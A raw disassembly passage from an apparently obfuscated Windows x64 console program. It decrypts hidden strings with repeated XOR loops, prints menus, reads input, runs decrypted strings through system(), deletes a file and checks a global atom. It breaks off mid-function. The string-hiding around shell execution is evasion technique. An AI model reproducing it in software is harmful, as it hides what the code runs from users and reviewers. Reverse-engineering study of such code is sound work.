movups xmm1, xmmword [0x1408273c0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408273d0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408273e0]
movups xmmword [rbp + 0x100], xmm1
movsd xmm0, qword [str.bxmktzqxpk]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x1408273f8]
mov dword [rbp + 0x118], eax
movzx eax, word [0x1408273fc]
mov word [rbp + 0x11c], ax
movzx eax, byte [str.Ds_CAASEpXH_KLZ_t_B]
mov byte [rbp + 0x11e], al
mov ecx, esi
cmp r13d, 2
jl 0x14078d89c
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x48
jl 0x14078d792
cmp ecx, 0x4f
jge 0x14078d8de
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x4f
jl 0x14078d8b0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
movups xmm0, xmmword [0x1408278c0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408278d0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408278e0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408278f0]
movups xmmword [rbp + 0x100], xmm1
movsd xmm0, qword [0x140827900]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x140827908]
mov dword [rbp + 0x118], eax
movzx eax, word [0x14082790c]
mov word [rbp + 0x11c], ax
mov ecx, esi
cmp r13d, 2
jl 0x14078daaa
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x48
jl 0x14078d9a0
cmp ecx, 0x4e
jge 0x14078daee
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x4e
jl 0x14078dac0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x140826a80]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140826a90]
movsd qword [rbp + 0xe0], xmm0
movzx eax, word [0x140826a98]
mov word [rbp + 0xe8], ax
movzx eax, byte [0x140826a9a]
mov byte [rbp + 0xea], al
mov ecx, esi
cmp r13d, 2
jl 0x14078dc8d
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14078db83
cmp ecx, 0x1b
jge 0x14078dcce
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1b
jl 0x14078dca0
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x140826c40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140826c48]
movsd qword [rbp - 0x40], xmm0
mov byte [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_79
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
xor al, 0x38
mov byte [rbp - 0x38], al
lea rdx, [rbp - 0x40]
call fcn.140798380
lea rdx, [0x14084c350]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078de33
cmp r13d, 2
jl 0x14078ddf3
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x14078de33
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078de00
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14084c350]
dec eax
cmp eax, 0x44
ja case.0x14078de67.8
cdqe
movzx eax, byte [r12 + rax + 0x795318]
mov ecx, dword [r12 + rax*4 + 0x7952f8]
add rcx, r12
jmp rcx
movsd xmm0, qword [str.CA_RVR_R:]
movsd qword [rbp + 0x18], xmm0
movzx ecx, word [0x1408266b0]
mov word [rbp + 0x20], cx
movzx eax, byte [0x1408266b2]
mov byte [rbp + 0x18], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x19], 0x31
xor byte [rbp + 0x1a], 0x32
xor byte [rbp + 0x1b], 0x33
xor byte [rbp + 0x1c], 0x34
xor byte [rbp + 0x1d], 0x35
xor byte [rbp + 0x1e], 0x36
xor byte [rbp + 0x1f], 0x37
xor cl, 0x38
mov byte [rbp + 0x20], cl
xor byte [rbp + 0x21], 0x39
xor al, 0x3a
mov byte [rbp + 0x22], al
lea rcx, [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x14078f276
movups xmm0, xmmword [0x140826f68]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140826f78]
movsd qword [rbp + 0xe0], xmm0
movzx eax, word [0x140826f80]
mov word [rbp + 0xe8], ax
cmp byte [0x140826f81], 0
je 0x14078e09e
mov ecx, esi
cmp r13d, 2
jl 0x14078e05a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14078df50
cmp ecx, 0x1a
jge 0x14078e09e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1a
jl 0x14078e070
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078e1a3
cmp r13d, 2
jl 0x14078e163
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x14078e1a3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078e170
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.s_vnd__RXOJfLYXZI_o_7F]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140826b50]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x140826b54]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x140826b56]
mov byte [rbp + 0xe6], al
mov ecx, esi
cmp r13d, 2
jl 0x14078e33a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14078e230
cmp ecx, 0x17
jge 0x14078e37e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x14078e350
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078e473
cmp r13d, 2
jl 0x14078e432
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x14078e473
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078e440
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.gG_P]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140827330]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140827340]
movups xmmword [rbp + 0xf0], xmm0
cmp r13d, 2
jl 0x14078e5f7
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x14078e4f0
jmp 0x14078e643
lea r9, [rbp + 0xd0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x14078e610
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140799210
movzx ecx, byte [rbp - 0x30]
lea eax, [rcx - 0x59]
test al, 0xdf
je 0x14078eb36
sub cl, 0x4e
test cl, 0xdf
je 0x14078e876
movups xmm0, xmmword [0x1408267d8]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408267e8]
movups xmmword [rbp + 0xe0], xmm1
movsd xmm0, qword [0x1408267f8]
movsd qword [rbp + 0xf0], xmm0
cmp r13d, 2
jl 0x14078e7f7
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14078e6f0
jmp 0x14078e843
lea r9, [rbp + 0xd0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14078e810
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14078e1b0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.s_vnd__RXOJfLYXZI_o_7F]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140826b50]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x140826b54]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x140826b56]
mov byte [rbp + 0xe6], al
mov r8d, esi
cmp r13d, 2
jl 0x14078ea0e
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
